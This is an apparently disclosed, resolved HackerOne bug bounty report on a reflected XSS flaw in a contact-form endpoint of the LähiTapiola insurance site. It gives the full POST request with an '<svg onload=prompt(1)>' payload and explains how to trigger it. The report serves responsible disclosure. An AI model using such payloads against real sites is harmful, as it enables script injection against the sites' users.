Reflected XSS in LTContactFormReceiver (/cs/Satellite)
Unknown
Vulnerability Details
URL: http://www.lahitapiola.fi/cs/Satellite
POST:
pagename=LahiTapiola/LTContactFormReceiver
&formId=1310385477986
&campaignID=
&lotteryIDList=1
&soaperrorMessage=
&soapServerErrorMessage=
&acceptTermsErrorMessage=<svg onload=prompt(1)>
&radioErrorMessage=
&dropdownErrorMessage=
&constraintErrorMessage=
&restServiceError=
&agreeTerms=2
&contactLahiTapiola=8
&modeOfContact=Toivon%2Byhteydenottoa%2Bpuhelimitse
&phoneRadioChecked=true
&agreementForMarketing=
&dropdownList=
&radioQuestionList=
&dropdownSize=
&radioListSize=
<-viesti=abc
<-etunimi=abc
<-sukunimi=abc
<-puhnro=abc
&[email protected]
<-lahiosoite=abc
<-postinumero=1
<-postitoimipaikka=abc
<-status=Samoancukie
Describe:
It is Reflected XSS bug generated by 2 params:
+agreeTerms
+acceptTermsErrorMessage
first i set agreeTerms to random number to make it error, then i set xss payload to acceptTermsErrorMessage to display it in browser (<svg onload=prompt(1)>).
P/s: Sorry if this bug is self-xss. I have no idea what self-xss is, so i google it and wiki say "Self-XSS operates by tricking users into copying and pasting malicious content into their browsers' web developer console", so maybe only console xss is Self XSS? https://en.wikipedia.org/wiki/Self-XSS
Actions
View on HackerOneReport Stats
- Report ID: 172595
- State: Closed
- Substate: resolved
- Upvotes: 6